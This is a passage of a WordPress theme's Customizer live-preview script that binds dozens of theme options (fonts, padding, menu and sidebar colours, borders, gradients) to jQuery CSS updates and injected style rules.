	wp.customize ( "pmthemes_theme_options[title_font_size]", function( value ) {
		value.bind( function( newval ) {
			var $child = $( ".pmthemes_control_title_font_size" );
			if ( newval ) {
				/** @type {string} */
				var newstyle = '<style class="pmthemes_control_title_font_size">@media only screen and (min-width:30em) {#logo .site-title{font-size: ' + newval + "px;}}</style>";
				if ( $child.length ) {
					$child.replaceWith( newstyle );
				} else {
					$( "head" ).append( newstyle );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	/* Title Font Size if Mobile */
	wp.customize ( "pmthemes_theme_options[title_font_size_mobile]", function( value ) {
		value.bind( function( newval ) {
			var $child = $( ".pmthemes_control_title_font_size_mobile" );
			if ( newval ) {
				/** @type {string} */
				var newstyle = '<style class="pmthemes_control_title_font_size_mobile">@media only screen and (max-width:30em) {#logo .site-title{font-size: ' + newval + "px;}}</style>";
				if ( $child.length ) {
					$child.replaceWith( newstyle );
				} else {
					$( "head" ).append( newstyle );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	/* Tagline Size */
	wp.customize( 'pmthemes_theme_options[title_describe_size]', function( value ) {
		value.bind( function( newval ) {
			$('#logo .site-description')
				.css('font-size', newval + 'px');
		} );
	} );
	/* Font Title Spacing */
	wp.customize( 'pmthemes_theme_options[title_font_space]', function( value ) {
		value.bind( function( newval ) {
			$('#logo .site-title')
				.css('letter-spacing', newval + 'px');
		} );
	} );
	/* Logo Title Width */
	wp.customize ( "pmthemes_theme_options[logo_title_width]", function( value ) {
		value.bind( function( newval ) {
			var $child = $( ".pmthemes_control_logo_title_width" );
			if ( newval ) {
				/** @type {string} */
				var newstyle = '<style class="pmthemes_control_logo_title_width">@media only screen and (min-width: 60em){#logo {max-width: ' + newval + '%;}#header-banner, #header #navi-wrap {max-width: calc(100% - ' + newval + "%);}}</style>";

				if ( $child.length ) {
					$child.replaceWith( newstyle );
				} else {
					$( "head" ).append( newstyle );
				}
			} else {
				$child.remove();
			}
		} );
	} );
    /* Top Menu Header Padding */
    wp.customize( 'pmthemes_theme_options[topmenu_bar_padding]', function( value ) {
        value.bind( function( newval ) {
            $('#topnav-menu a, .topinner .social-icons-menu li a')
                .css('padding', newval + 'em');
        } );
    } );
    /* Top Menu Font Size */
    wp.customize( 'pmthemes_theme_options[topmenu_font_size]', function( value ) {
        value.bind( function( newval ) {
            $('#topnav-menu a, .topinner .social-icons-menu li a')
                .css('font-size', newval + 'em');
        } );
    } );
    /* Main Menu Font Size*/
    wp.customize( 'pmthemes_theme_options[mainmenu_font_size]', function( value ) {
        value.bind( function( newval ) {
            $('.nav-menu li a')
                .css('font-size', newval + 'em');
        } );
    } );
	/* Main Menu Header Padding */
	wp.customize( 'pmthemes_theme_options[mainmenu_bar_padding]', function( value ) {
		value.bind( function( newval ) {
			$('.nav-menu li a')
				.css('padding', newval + 'em');
		} );
	} );
    /* Product Title Font Size */
    wp.customize( 'pmthemes_theme_options[product_title_font_size]', function( value ) {
        value.bind( function( newval ) {
            $('.woocommerce div.product .product_title')
                .css('font-size', newval + 'em');
        } );
    } );
    /* Page and Title Font Size */
    wp.customize( 'pmthemes_theme_options[posts_title_font_size]', function( value ) {
        value.bind( function( newval ) {
            $('.page-title:not(#frontpage-magazine-widgets), .post-title:not(#frontpage-magazine-widgets)')
                .css('font-size', newval + 'em');
        } );
    } );
    /* Entry Font Size */
    wp.customize( 'pmthemes_theme_options[entry_font_sizes]', function( value ) {
        value.bind( function( newval ) {
            $('.entry p, .entry li, .entry tr td, code, pre, dd,.comment p,.comment li')
                .css('font-size', newval + 'em');
        } );
    } );
    /* Front Page Small Posts Title Font Size */
    wp.customize( 'pmthemes_theme_options[front_page_font_size]', function( value ) {
        value.bind( function( newval ) {
            $('.widget-category-posts .small-post .post-title')
                .css('font-size', newval + 'em');
        } );
    } );
    /* Front Page Big Posts Title Font Size */
    wp.customize( 'pmthemes_theme_options[front_page_fonts_size]', function( value ) {
        value.bind( function( newval ) {
            $('.widget-category-posts .big-post .post-title')
                .css('font-size', newval + 'em');
        } );
    } );
    /* Single Posts Title Font Size */
    wp.customize( 'pmthemes_theme_options[front_posts_font_size]', function( value ) {
        value.bind( function( newval ) {
            $('#widget-category-posts-single .single-post .post-title')
                .css('font-size', newval + 'em');
        } );
    } );
	/* Top Bar Background Color */
	wp.customize( 'pmthemes_theme_options[top_bar_bg]', function( value ) {
		value.bind( function( newval ) {
			$('#topnavbar')
				.css('background', newval )
		} );
	} );
	/* Top Bar Top Border Color */
	wp.customize( 'pmthemes_theme_options[top_bar_top_border]', function( value ) {
		value.bind( function( newval ) {
			$('#topnavbar')
				.css('border-top', '1px solid ' + newval )
		} );
	} );
	/* Top Bar Bottom Border Color */
	wp.customize( 'pmthemes_theme_options[top_bar_bottom_border]', function( value ) {
		value.bind( function( newval ) {
			$('#topnavbar')
				.css('border-bottom', '1px solid ' + newval )
		} );
	} );
	// Top Bar Font Color
	wp.customize( 'pmthemes_theme_options[top_bar_font_color]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-top_bar_font_color' );
			if ( to ) {
				var style = '<style class="customizer-top_bar_font_color">#topnavbar p, #topnavbar #header-social-icons .social-icons-menu li a:before{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	
    /* Frontpage Header Font Padding */
	wp.customize( 'pmthemes_theme_options[fpbar_font_pad_top]', function( value ) {
		value.bind( function( newval ) {
			$('#frontpage-magazine-widgets .widget .widgettitle')
				.css('padding-top', newval + 'px');
		} );
	} );
	wp.customize( 'pmthemes_theme_options[fpbar_font_pad_right]', function( value ) {
		value.bind( function( newval ) {
			$('#frontpage-magazine-widgets .widget .widgettitle')
				.css('padding-right', newval + 'px');
		} );
	} );
	wp.customize( 'pmthemes_theme_options[fpbar_font_pad_bottom]', function( value ) {
		value.bind( function( newval ) {
			$('#frontpage-magazine-widgets .widget .widgettitle')
				.css('padding-bottom', newval + 'px');
		} );
	} );
	wp.customize( 'pmthemes_theme_options[fpbar_font_pad_left]', function( value ) {
		value.bind( function( newval ) {
			$('#frontpage-magazine-widgets .widget .widgettitle')
				.css('padding-left', newval + 'px');
		} );
	} );
    
    /* Frontpage Bar Font Size*/
    wp.customize( 'pmthemes_theme_options[frontbar_font_size]', function( value ) {
        value.bind( function( newval ) {
            $('#frontpage-magazine-widgets .widget .widgettitle')
                .css('font-size', newval + 'em');
        } );
    } );
	/* Sidebar Header Font Padding */
	wp.customize( 'pmthemes_theme_options[sidebar_font_pad_top]', function( value ) {
		value.bind( function( newval ) {
			$('#sidebar .widget .widgettitle')
				.css('padding-top', newval + 'px');
		} );
	} );
	wp.customize( 'pmthemes_theme_options[sidebar_font_pad_right]', function( value ) {
		value.bind( function( newval ) {
			$('#sidebar .widget .widgettitle')
				.css('padding-right', newval + 'px');
		} );
	} );
	wp.customize( 'pmthemes_theme_options[sidebar_font_pad_bottom]', function( value ) {
		value.bind( function( newval ) {
			$('#sidebar .widget .widgettitle')
				.css('padding-bottom', newval + 'px');
		} );
	} );
	wp.customize( 'pmthemes_theme_options[sidebar_font_pad_left]', function( value ) {
		value.bind( function( newval ) {
			$('#sidebar .widget .widgettitle')
				.css('padding-left', newval + 'px');
		} );
	} );
    /* Sidebar Widget Bar Font Size*/
    wp.customize( 'pmthemes_theme_options[wgtbar_font_size]', function( value ) {
        value.bind( function( newval ) {
            $('#sidebar .widget .widgettitle')
                .css('font-size', newval + 'em');
        } );
    } );
    /* Tabbed Widget Header Padding */
    wp.customize( 'pmthemes_theme_options[side_tabbed_padding]', function( value ) {
        value.bind( function( newval ) {
            $('.widget-tabnav li a')
                .css('padding', newval + 'em');
        } );
    } );
    /* Tabbed Widget Header Size*/
    wp.customize( 'pmthemes_theme_options[tabbed_font_size]', function( value ) {
        value.bind( function( newval ) {
            $('.widget-tabnavi')
                .css('font-size', newval + 'em');
        } );
    } );
    /* Sidebar Width */
    wp.customize( 'pmthemes_theme_options[sidecon_width]', function( value ) {
        value.bind( function( newval ) {
            $('#sidebar')
                .css('width', newval + '%');
            $('#sidebar')
        		.css('margin-left', 100 - newval + '%');
            $('#content')
                .css('width', 100 - newval + '%');
            $('.rlayout #sidebar')
                .css('margin-left', 0);
            $('.rlayout #sidebar')
                .css('margin-right', 100 - newval + '%');
        } );
    } );
    /* Sidebar Padding */
    wp.customize( 'pmthemes_theme_options[sidebar_padding_adjust]', function( value ) {
        value.bind( function( newval ) {
            $('#sidebar')
                .css('padding', '14px ' + newval + 'px');
        } );
    } );
    /* Sidebar Padding */
    wp.customize( 'pmthemes_theme_options[sidebar_padding_top]', function( value ) {
        value.bind( function( newval ) {
            $('#sidebar')
                .css('padding-top', newval + 'em');
        } );
    } );
    wp.customize( 'pmthemes_theme_options[sidebar_padding_right]', function( value ) {
        value.bind( function( newval ) {
            $('#sidebar')
                .css('padding-right', newval + 'em');
        } );
    } );
    wp.customize( 'pmthemes_theme_options[sidebar_padding_bottom]', function( value ) {
        value.bind( function( newval ) {
            $('#sidebar')
                .css('padding-bottom', newval + 'em');
        } );
    } );
    wp.customize( 'pmthemes_theme_options[sidebar_padding_left]', function( value ) {
        value.bind( function( newval ) {
            $('#sidebar')
                .css('padding-left', newval + 'em');
        } );
    } );
	/* Header Padding */
	wp.customize( 'pmthemes_theme_options[header_padding_top]', function( value ) {
		value.bind( function( newval ) {
			$('#header')
				.css('padding-top', newval + 'em');
		} );
	} );
	wp.customize( 'pmthemes_theme_options[header_padding_right]', function( value ) {
		value.bind( function( newval ) {
			$('#header')
				.css('padding-right', newval + 'em');
		} );
	} );
	wp.customize( 'pmthemes_theme_options[header_padding_bottom]', function( value ) {
		value.bind( function( newval ) {
			$('#header')
				.css('padding-bottom', newval + 'em');
		} );
	} );
	wp.customize( 'pmthemes_theme_options[header_padding_left]', function( value ) {
		value.bind( function( newval ) {
			$('#header')
				.css('padding-left', newval + 'em');
		} );
	} );
    /* Wide Header Border Color */
    wp.customize( 'pmthemes_theme_options[body_borders_color]', function( value ) {
        value.bind( function( newval ) {
            $('.wide-header #content-wrap')
                .css('border', '1px solid ' + newval )
        } );
    } );
	/* Theme Colors */
	wp.customize( 'pmthemes_theme_options[topnav_color]', function( value ) {
		value.bind( function( newval ) {
			$('#topnav, #topnav-icon, #topheader')
				.css('background', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[topnav_current]', function( value ) {
		value.bind( function( newval ) {
			$('#topnav-menu .current_page_item, #topnav-menu .current-menu-item')
				.css('background', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[topnav_hover]', function( value ) {
		value.bind( function( newval ) {
			$('#topnav-menu a:hover, #topnav-menu li a:hover')
				.css('background', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[topnav_dropdown]', function( value ) {
		value.bind( function( newval ) {
			$('#topnav-menu .sub-menu, #topnav-menu .children')
				.css('background-color', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[topnav_drophov]', function( value ) {
		value.bind( function( newval ) {
			$('ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus')
				.css('background-color', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[topnav_dropbor]', function( value ) {
		value.bind( function( newval ) {
			$('ul#topnav-menu ul a, #topnav-menu ul ul a')
				.css('border-top', '1px solid ' + newval )
			$('#topnav-menu .sub-menu, #topnav-menu .children')
				.css('border-color', newval );
		} );
	} );
	// Top Navigation Color
	wp.customize( 'pmthemes_theme_options[topnav_text_color]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-topnav_text_color' );
			if ( to ) {
				var style = '<style class="customizer-topnav_text_color">#topnav-menu a:link, #topnav-menu a:visited, #header-social-icons .social-icons-menu li a:before{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	// Main Navigation Color
	wp.customize( 'pmthemes_theme_options[navi_text_color]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-navi_text_color' );
			if ( to ) {
				var style = '<style class="customizer-navi_text_color">.nav-menu li a, .nav-menu .current_page_ancestor > a, .nav-menu .current-menu-ancestor > a, .search-form:before, .nav-menu li.menu-item-has-children > a:after, .nav-menu .submenu li.menu-item-has-children > a:after, #header #navi-wrap .nav-menu li a, #header .search-form:before, #header #navi-wrap .nav-menu li.menu-item-has-children > a:after, #header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	// Main Menu Background Color
	wp.customize( 'pmthemes_theme_options[navi_color]', function( value ) {
		value.bind( function( newval ) {
			$('#navi-wrap, .natty #navi-wrap, .stickynav')
				.css('background', newval );
		} );
	} );
	// Main Menu TOP Border Color and Height
	var navi_top_bd_hei = wp.customize( 'pmthemes_theme_options[navi_top_bd_hei]' )();
	var navi_top_bd_clr = wp.customize( 'pmthemes_theme_options[navi_top_bd_clr]' )();
	wp.customize( 'pmthemes_theme_options[navi_top_bd_hei]', function( value ) {
		value.bind( function( to ) {
			navi_top_bd_hei = to;
			$( '#navi-wrap, .natty #navi-wrap, .stickynav' ).css( {
				'border-top': ' '
					.concat( navi_top_bd_hei ).concat( 'px solid' )
					.concat( navi_top_bd_clr ).concat( ' ' )
			} );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[navi_top_bd_clr]', function( value ) {
		value.bind( function( to ) {
			navi_top_bd_clr = to;
			$( '#navi-wrap, .natty #navi-wrap, .stickynav' ).css(
				{'border-top': ' '
						.concat( navi_top_bd_hei ).concat( 'px solid' )
						.concat( navi_top_bd_clr ).concat( ' ' )
				}
			);
		} );
	} );
	// Main Menu Bottom Border Color and Height
	var navi_bot_bd_hei = wp.customize( 'pmthemes_theme_options[navi_bot_bd_hei]' )();
	var navi_bot_bd_clr = wp.customize( 'pmthemes_theme_options[navi_bot_bd_clr]' )();
	wp.customize( 'pmthemes_theme_options[navi_bot_bd_hei]', function( value ) {
		value.bind( function( to ) {
			navi_bot_bd_hei = to;
			$( '#navi-wrap, .natty #navi-wrap, .stickynav' ).css( {
				'border-bottom': ' '
					.concat( navi_bot_bd_hei ).concat( 'px solid' )
					.concat( navi_bot_bd_clr ).concat( ' ' )
			} );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[navi_bot_bd_clr]', function( value ) {
		value.bind( function( to ) {
			navi_bot_bd_clr = to;
			$( '#navi-wrap, .natty #navi-wrap, .stickynav' ).css(
				{'border-bottom': ' '
						.concat( navi_bot_bd_hei ).concat( 'px solid' )
						.concat( navi_bot_bd_clr ).concat( ' ' )
				}
			);
		} );
	} );
	wp.customize( 'pmthemes_theme_options[navi_border]', function( value ) {
		value.bind( function( newval ) {
			$('.nav-menu li')
				.css('border-left', '1px solid ' +  newval );
			$('.nav-menu li')
				.css('border-right', 'none');
			$('.nav-menu li:first-child')
				.css('border-left', 'none');
			$('.nav-menu li:last-child, .wide-header .nav-menu li:last-child')
				.css('border-right', '1px solid ' +  newval );
			$('.wide-header .nav-menu li:first-child')
				.css('border-left', '1px solid ' +  newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[navi_hover]', function( value ) {
		value.bind( function( newval ) {
			$('.nav-menu li:hover > a, .nav-menu li a:hover, .nav-menu li:focus > a, .nav-menu li a:focus')
				.css('background', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[navi_dropdown]', function( value ) {
		value.bind( function( newval ) {
			$('.nav-menu .sub-menu, .nav-menu .children')
				.css('background', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[navi_drophov]', function( value ) {
		value.bind( function( newval ) {
			$('ul.nav-menu ul a:hover, .nav-menu ul ul a:hover, ul.nav-menu ul a:focus, .nav-menu ul ul a:focus')
				.css('background-color', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[navi_dropdown_border]', function( value ) {
		value.bind( function( newval ) {
			$('.nav-menu .sub-menu, .nav-menu .children')
				.css('border', '2px solid ' +  newval );
			$('.nav-menu .sub-menu ul, .nav-menu .children ul')
				.css('border-left', '1px solid ' +  newval );
			$('ul.nav-menu ul a, .nav-menu ul ul a')
				.css('border-top', '1px solid ' +  newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[default_text_color]', function( value ) {
		value.bind( function( newval ) {
			$('body, input, textarea')
				.css('color', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[site_title_color]', function( value ) {
		value.bind( function( newval ) {
			$('#logo .site-title, #logo a:hover .site-title')
				.css('color', newval );
		} );
	} );
    wp.customize( 'pmthemes_theme_options[site_title_shadow]', function( value ) {
        value.bind( function( newval ) {
            $('#logo .site-title')
                .css('text-shadow', '1px 1px 0 ' + newval );
        } );
    } );
	wp.customize( 'pmthemes_theme_options[site_tagline_color]', function( value ) {
		value.bind( function( newval ) {
			$('#logo .site-description')
				.css('color', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[title_color]', function( value ) {
		value.bind( function( newval ) {
			$('.page-title, .post-title, .post-title a:link, .post-title a:visited, .archive-title span')
				.css('color', newval );
			$('.post-title a:hover, .post-title a:active')
				.css('color', newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[link_color]', function( value ) {
		value.bind( function( newval ) {
			$('.entry a, .entry a:link, .entry a:visited, .postinfo a, .comment a:link, .comment a:visited, .post-pagination a:link, .post-pagination a:visited, #image-nav .nav-previous a, #image-nav .nav-next a')
				.css('color', newval );
			$('.post-pagination .current')
				.css('background', newval );
		} );
	} );
	// Scroll to Top Background Color
	wp.customize( 'pmthemes_theme_options[sctop_bg_color]', function( value ) {
		value.bind( function( newval ) {
			$('.scrollToTop')
				.css('background', newval );
			$('.scrollToTop')
				.css('opacity', '0.85' );
		} );
	} );
	// Scroll to Top Arrow Color
	wp.customize( 'pmthemes_theme_options[sctop_arrow_color]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-sctop_arrow_color' );
			if ( to ) {
				var style = '<style class="customizer-sctop_arrow_color">.scrollToTop:before{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	// Scroll to Top Border Color
	wp.customize( 'pmthemes_theme_options[sctop_brdr_color]', function( value ) {
		value.bind( function( newval ) {
			$('.scrollToTop')
				.css('border', '3px solid ' + newval );
			$('.scrollToTop')
				.css('opacity', '0.9' );
		} );
	} );
	// Comment Button Background Color
	wp.customize( 'pmthemes_theme_options[cmbtn_bg_color]', function( value ) {
		value.bind( function( newval ) {
			$('#commentform #submit')
				.css('background', newval );
		} );
	} );
	// Comment Button Text Color
	wp.customize( 'pmthemes_theme_options[cmbtn_text_color]', function( value ) {
		value.bind( function( newval ) {
			$('#commentform #submit')
				.css('color', newval );
		} );
	} );
	// Frontpage
	// Slider Caption Title Color
	wp.customize( 'pmthemes_theme_options[sldr_title_clr]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-sldr_title_clr' );
			if ( to ) {
				var style = '<style class="customizer-sldr_title_clr">#frontpage-slider .pmsslide .slide-entry .slide-title a:link, #frontpage-slider .pmsslide .slide-entry .slide-title a:visited{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	// Slider Caption Text Color
	wp.customize( 'pmthemes_theme_options[sldr_text_clr]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-sldr_text_clr' );
			if ( to ) {
				var style = '<style class="customizer-sldr_text_clr">#frontpage-slider .pmsslide .slide-entry, #frontpage-slider .pmsslide .slide-entry .slide-more-link, #frontpage-slider .pmsslide .slide-entry .slide-more-link:link{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	// Slider Caption Background Color
	wp.customize( 'pmthemes_theme_options[sldr_bg_clr]', function( value ) {
		value.bind( function( newval ) {
			$('#frontpage-slider .pmsslide .slide-entry')
				.css('background', newval );
			$('#frontpage-slider .pmsslide .slide-entry')
				.css('opacity', '0.75' );
		} );
	} );
	// Slider Arrow Colors
	wp.customize( 'pmthemes_theme_options[sldr_arrow_clr]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-sldr_arrow_clr' );
			if ( to ) {
				var style = '<style class="customizer-sldr_arrow_clr">.frontpage-slider-controls .pmsflex-direction-nav a:before{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	// Slider Arrow Background Color
	wp.customize( 'pmthemes_theme_options[sldr_arrow_bg_clr]', function( value ) {
		value.bind( function( newval ) {
			$('.frontpage-slider-controls .pmsflex-direction-nav a')
				.css('background', newval );
			$('.frontpage-slider-controls .pmsflex-direction-nav a')
				.css('opacity', '0.75' );
		} );
	} );
	// Slider Border Color
	wp.customize( 'pmthemes_theme_options[sldr_border_clr]', function( value ) {
		value.bind( function( newval ) {
			$('#frontpage-slider')
				.css('border', '1px solid ' +  newval );
		} );
	} );
	wp.customize( 'pmthemes_theme_options[frontbar_font_clr]', function( value ) {
		value.bind( function( newval ) {
			$('#frontpage-magazine-widgets .widget .widgettitle')
				.css('color', newval );
		} );
	} );
	if (wp.customize( 'pmthemes_theme_options[frontpage_header_style]' )() == 1) {
		wp.customize( 'pmthemes_theme_options[frontbar_bg_color]', function( value ) {
			value.bind( function( newval ) {
				$('#frontpage-magazine-widgets .widget .widgettitle')
					.css('background', newval )
					.css('display', 'inline-block' )
					.css('margin', '0')
			} );
		} );
		wp.customize( 'pmthemes_theme_options[front_header_bg_color]', function( value ) {
			value.bind( function( newval ) {
				$('#frontpage-magazine-widgets .widget .widget-header')
					.css('background', newval )
					.css('margin', '-0.5em -0.5em 1em')
			} );
		} );
		wp.customize( 'pmthemes_theme_options[front_header_top_border]', function( value ) {
			value.bind( function( newval ) {
				$('#frontpage-magazine-widgets .widget .widget-header')
					.css('border-top', '1px solid ' +  newval );
			} );
		} );
		wp.customize( 'pmthemes_theme_options[front_header_bot_border]', function( value ) {
			value.bind( function( newval ) {
				$('#frontpage-magazine-widgets .widget .widget-header')
					.css('border-bottom', '2px solid ' +  newval );
			} );
		} );
	} else {
		wp.customize( 'pmthemes_theme_options[frontbar_bg_color]', function( value ) {
			value.bind( function( newval ) {
				$('#frontpage-magazine-widgets .widget .widgettitle')
					.css('background', newval )
			} );
		} );
	}
	// Sidebar
	wp.customize( 'pmthemes_theme_options[widget_title_color]', function( value ) {
		value.bind( function( newval ) {
			$('#sidebar .widgettitle')
				.css('color', newval );
		} );
	} );
	if (wp.customize( 'pmthemes_theme_options[widget_header_styling]' )() == 1) {
		wp.customize( 'pmthemes_theme_options[widget_header_color]', function( value ) {
			value.bind( function( newval ) {
				$('#sidebar .widgettitle')
					.css('background', newval )
					.css('display', 'inline-block' )
					.css('margin', '0')
			} );
		} );
		wp.customize( 'pmthemes_theme_options[widget_header_bg_color]', function( value ) {
			value.bind( function( newval ) {
				$('#sidebar .widget-header')
					.css('background', newval )
					.css('margin', '-0.5em -0.5em 1em')
			} );
		} );
		wp.customize( 'pmthemes_theme_options[widget_header_top_border]', function( value ) {
			value.bind( function( newval ) {
				$('#sidebar .widget-header')
					.css('border-top', '1px solid ' +  newval );
			} );
		} );
		wp.customize( 'pmthemes_theme_options[widget_header_bot_border]', function( value ) {
			value.bind( function( newval ) {
				$('#sidebar .widget-header')
					.css('border-bottom', '2px solid ' +  newval );
			} );
		} );
	} else {
		wp.customize( 'pmthemes_theme_options[widget_header_color]', function( value ) {
			value.bind( function( newval ) {
				$('#sidebar .widgettitle')
					.css('background', newval )
			} );
		} );
	}
	// Sidebar Widget Link Color
	wp.customize( 'pmthemes_theme_options[widget_link_color]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-widget_link_color' );
			if ( to ) {
				var style = '<style class="customizer-widget_link_color">#sidebar .widget .rp-title a:link, #sidebar .widget .rp-title a:visited, .product_list_widget .product-title{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	// Widget Text Color
	wp.customize( 'pmthemes_theme_options[widget_text_color]', function( value ) {
		value.bind( function( newval ) {
			$('.widget ul, #sidebar .widget .textwidget')
				.css('color', newval );
		} );
	} );
	// Widget Post Meta Color
	wp.customize( 'pmthemes_theme_options[widget_post_meta_clr]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-widget_post_meta_clr' );
			if ( to ) {
				var style = '<style class="customizer-widget_post_meta_clr">.widget-posts-entries .widget-postmeta, .widget-posts-entries .widget-postmeta a:link, .widget-posts-entries .widget-postmeta span:before{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	// Widget Background Color
	wp.customize( 'pmthemes_theme_options[widget_backgr_color]', function( value ) {
		value.bind( function( newval ) {
			$('#sidebar .widget:not(.pmthemes_tabbed_content)')
				.css('background', newval );
		} );
	} );
	/* Sidebar Background Color w/ Gradient */
	if (wp.customize( 'pmthemes_theme_options[sidebar_gradient_enable]' )() == 1) {
		var sidebar_backgr = wp.customize( 'pmthemes_theme_options[sidebar_background]' )();
		var sidebar_grad_ient = wp.customize( 'pmthemes_theme_options[sidebar_grad_ient]' )();
		var sidebar_gr_dir = wp.customize( 'pmthemes_theme_options[sidebar_gr_dir]' )();
		wp.customize( 'pmthemes_theme_options[sidebar_background]', function( value ) {
			value.bind( function( to ) {
                sidebar_backgr = to;
				$( '#sidebar, .rlayout #sidebar' ).css( {
					'background': 'linear-gradient( '
						.concat( sidebar_gr_dir ).concat(' , ' )
						.concat( sidebar_backgr ).concat( ' , ' )
						.concat( sidebar_grad_ient ).concat( ' )' )
				} );
			} );
		} );
		/* Sidebar Background Gradient */
		wp.customize( 'pmthemes_theme_options[sidebar_grad_ient]', function( value ) {
			value.bind( function( to ) {
                sidebar_grad_ient = to;
				$( '#sidebar, .rlayout #sidebar' ).css(
					{'background': 'linear-gradient( '
						.concat( sidebar_gr_dir ).concat(' , ' )
						.concat( sidebar_backgr ).concat( ' , ' )
						.concat( sidebar_grad_ient ).concat( ' )' )
					}
				);
			} );
		} );
	} else {
		/* Plain Sidebar Background Color */
        wp.customize( 'pmthemes_theme_options[sidebar_background]', function( value ) {
            value.bind( function( newval ) {
                $('#sidebar, .rlayout #sidebar')
                    .css('background', newval );
            } );
        } );
    }
	// Sidebar Borders
	var sidebar_brth = wp.customize( 'pmthemes_theme_options[sidebar_border_thick]' )();
	var sidebar_brcl = wp.customize( 'pmthemes_theme_options[sidebar_border_color]' )();
	/* Sidebar Border Thickness */
	wp.customize( 'pmthemes_theme_options[sidebar_border_thick]', function( value ) {
		value.bind( function( to ) {
            sidebar_brth = to;
			$( '#sidebar .widget' ).css( {
				'border': ' '
					.concat( sidebar_brth ).concat( 'px solid' )
					.concat( sidebar_brcl ).concat( ' ' )
			} );
		} );
	} );
	/* Sidebar Border Color */
	wp.customize( 'pmthemes_theme_options[sidebar_border_color]', function( value ) {
		value.bind( function( to ) {
            sidebar_brcl = to;
			$( '#sidebar .widget' ).css(
				{'border': ' '
					.concat( sidebar_brth ).concat( 'px solid' )
					.concat( sidebar_brcl ).concat( ' ' )
				}
			);
		} );
	} );
	// Tabbed Background Color
	wp.customize( 'pmthemes_theme_options[tabbed_bg_color]', function( value ) {
		value.bind( function( newval ) {
			$('.pmthemes_tabbed_content')
				.css('background', newval );
		} );
	} );
	// Tabbed Header Color
	wp.customize( 'pmthemes_theme_options[tabbed_header_color]', function( value ) {
		value.bind( function( newval ) {
			$('.widget-tabnavi, .widget-tabnav')
				.css('background', newval );
		} );
	} );
	// Tabbed Header Title Color
	wp.customize( 'pmthemes_theme_options[tabbed_hdtl_color]', function( value ) {
		value.bind( function( newval ) {
			$('#sidebar .widget.pmthemes_tabbed_content .widget-tabnav a:link')
				.css('color', newval );
		} );
	} );
	// Tabbed Link Color
	wp.customize( 'pmthemes_theme_options[tabbed_linked_color]', function( value ) {
		value.bind( function( newval ) {
			$('#sidebar .widget.pmthemes_tabbed_content .tabdiv a:link')
				.css('color', newval );
		} );
	} );
	// Tabbed Post Meta Color
	wp.customize( 'pmthemes_theme_options[tabbed_post_meta_clr]', function( value ) {
		value.bind( function( to ) {
			var $child = $( '.customizer-tabbed_post_meta_clr' );
			if ( to ) {
				var style = '<style class="customizer-tabbed_post_meta_clr">.widget-tabbed .tabdiv ul li .widget-postmeta, .widget-tabbed .tabdiv ul li .widget-postmeta:before{ color: ' + to + '; }</style>';
				if ( $child.length ) {
					$child.replaceWith( style );
				} else {
					$( 'head' ).append( style );
				}
			} else {
				$child.remove();
			}
		} );
	} );
	// Footer Widgets
	wp.customize( 'pmthemes_theme_options[footer_widgets_texts]', function( value ) {
		value.bind( function( newval ) {
			$('#footer-widgets .widget a:link, #footer-widgets .widget a:visited, #footer-widgets .product-title')
				.css('color', newval );
		} );
	} );
	// Footer Widgets Plain Text
	wp.customize( 'pmthemes_theme_options[footer_widgets_pltxt]', function( value ) {
		value.bind( function( newval ) {
			$('#footer-widgets .widget div, #footer-widgets .widget ul')
				.css('color', newval );
		} );
	} );
